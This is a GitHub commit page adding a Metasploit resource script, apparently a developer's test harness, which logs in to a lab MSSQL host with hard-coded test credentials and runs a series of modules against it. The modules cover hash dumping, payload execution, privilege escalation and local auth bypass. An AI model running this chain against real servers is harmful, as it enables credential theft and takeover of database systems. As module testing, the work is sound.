-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
6a32f81
commit 83f3cee
Showing
2 changed files
with
81 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
<ruby> | ||
auth_modules = %w[ | ||
auxiliary/scanner/mssql/mssql_hashdump | ||
auxiliary/scanner/mssql/mssql_ping | ||
auxiliary/scanner/mssql/mssql_schemadump | ||
exploit/windows/mssql/mssql_clr_payload | ||
auxiliary/admin/mssql/mssql_exec | ||
auxiliary/admin/mssql/mssql_enum | ||
exploit/windows/mssql/mssql_linkcrawler | ||
auxiliary/admin/mssql/mssql_escalate_dbowner | ||
auxiliary/admin/mssql/mssql_escalate_execute_as | ||
auxiliary/admin/mssql/mssql_findandsampledata | ||
auxiliary/admin/mssql/mssql_sql | ||
auxiliary/admin/mssql/mssql_sql_file | ||
auxiliary/admin/mssql/mssql_idf | ||
exploit/windows/mssql/mssql_payload | ||
exploit/windows/mssql/mssql_payload_sqli | ||
auxiliary/admin/mssql/mssql_escalate_dbowner_sqli | ||
auxiliary/admin/mssql/mssql_escalate_execute_as_sqli | ||
auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli | ||
auxiliary/admin/mssql/mssql_enum_sql_logins | ||
auxiliary/admin/mssql/mssql_enum_domain_accounts | ||
|
||
post/windows/gather/credentials/mssql_local_hashdump | ||
post/windows/manage/mssql_local_auth_bypass | ||
] | ||
|
||
session_modules = %w[ | ||
auxiliary/admin/mssql/mssql_enum | ||
auxiliary/admin/mssql/mssql_escalate_dbowner | ||
auxiliary/admin/mssql/mssql_escalate_execute_as | ||
auxiliary/admin/mssql/mssql_exec | ||
exploit/windows/mssql/mssql_payload | ||
auxiliary/admin/mssql/mssql_findandsampledata | ||
auxiliary/admin/mssql/mssql_sql | ||
auxiliary/scanner/mssql/mssql_hashdump | ||
auxiliary/scanner/mssql/mssql_schemadump | ||
] | ||
|
||
run_single "use auxiliary/scanner/mssql/mssql_login" | ||
run_single "run rhost=192.168.2.224 username=test password=ASDqwe123 use_windows_authent=false createsession=true" | ||
|
||
auth_modules.each do |mod| | ||
print_line | ||
print_status("Running mod :: #{mod}") | ||
run_single("use #{mod}") | ||
if mod.start_with?('auxiliary') || mod.include?('exploit') | ||
# Windows auth | ||
# run_single("run rhost=192.168.2.224 username=winserv2022 password=winserv2022 use_windows_authent=true lhost=192.168.86.20") | ||
# # Normal auth | ||
run_single("run RPORT=1433 RHOSTS=192.168.2.224 USERNAME=test PASSWORD=ASDqwe123") | ||
# # Kerberos auth | ||
# run_single("run 192.168.123.136 domaincontrollerrhost=192.168.123.136 username=vagrant password=vagrant mssql::auth=kerberos mssql::rhostname=dc01.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'") | ||
# Session | ||
run_single("run session=-1") | ||
elsif mod.start_with?('post') | ||
run_single("run session=-1") | ||
else | ||
raise "Unknown mod #{mod}" | ||
end | ||
print_line | ||
end | ||
</ruby> |